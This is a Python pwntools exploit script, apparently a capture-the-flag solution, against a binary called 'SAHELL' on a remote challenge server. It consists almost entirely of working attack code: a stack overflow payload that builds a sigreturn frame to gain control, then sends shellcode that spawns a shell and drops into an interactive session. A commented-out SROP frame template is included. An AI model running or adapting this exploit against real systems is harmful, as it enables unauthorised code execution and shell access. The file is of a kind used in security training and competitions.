1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
|
''' @File : exp.py @Time : 2022/02/20 11:39:04 @Author : lexsd6 '''
from pwn import * from libcfind import *
local_mote=0 elf='./SAHELL' e=ELF(elf) context.arch=e.arch context.log_level = 'debug' ip_port=['hsc2019.site',10774]
debug=lambda gdb_cmd='': gdb.attach(p,gdb_cmd) if local_mote==1 else None
if local_mote==1 : p=process(elf) else : p=remote(ip_port[0],ip_port[-1])
shellcodeaddr=0x00600000 rbp=shellcodeaddr
sleep(1)
""" sigret_frame = [ p64(0x0000000000000007), # uc_flags p64(0x0000000000000000), # uc_link p64(0x0000000000000000), # uc_stack.ss_sp p64(0x0000ffff00000000), # uc_stack.ss_flags p64(0x0000000000000000), # uc_stack.ss_size p64(0xdeadbeefdeadbeef), # R8 p64(0xdeadbeefdeadbeef), # R9 p64(0xdeadbeefdeadbeef), # R10 p64(0xdeadbeefdeadbeef), # R11 p64(0xdeadbeefdeadbeef), # R12 p64(0xdeadbeefdeadbeef), # R13 p64(0xdeadbeefdeadbeef), # R14 p64(0xdeadbeefdeadbeef), # R15 p64(0x0000000000402000), # RDI p64(0x0000000000000000), # RSI p64(0xdeadbeefdeadbeef), # RBP p64(0xdeadbeefdeadbeef), # RBX p64(0x0000000000000000), # RDX p64(0x000000000000003b), # RAX p64(0xdeadbeefdeadbeef), # RCX p64(0xdeadbeefdeadbeef), # RSP p64(SYSCALL), # RIP = should call 'syscall' instruction p64(0x0000000000000202), # EFLAGS p64(0x002b000000000033), # Segment Registers(SS, FS, GS, CS) p64(0x0000000000000000), # ERR p64(0x0000000000000001), # TrapNo p64(0x0000000000000000), # Old-Mask p64(0x0000000000000000), # CR2 p64(0x0000000000000000), # fpstate = NULL p64(0x000000000000000e), # reserved p64(0x0000000000000000), # uc_sigmask ]
"""
p.sendline('x'*0x1a0+p64(0x000000000400108-0x50)+p64(0x0000000004000BA)+p64(0x0000000004000B5)+p64(0x0000000000000007)+p64(0x0000000000000000)+p64(0x0000000000000000)+p64(0x0000ffff00000000)+p64(0x0000000000000000)+'a'*0x28+'b'*0x10+'c'*8+p64(0x0)+p64(0x600100)+'q'*8+'y'*8+p64(0x1000)+p64(0)*2+p64(0x600100)+p64(0x0000000004000CB)+p64(0x0000000000000202)+p64(0x002b000000000033)+ p64(0x0000000000000000)+p64(0x0000000000000001)+p64(0x0000000000000000)+p64(0x0000000000000000)+p64(0x0000000000000000)+p64(0x000000000000000e)) sleep(4)
p.sendline('1'*(0xf-1)) sleep(3)
p.sendline('8'*64+p64(0x600148+8)+p64(0)+(asm(shellcraft.sh()))) p.interactive()
|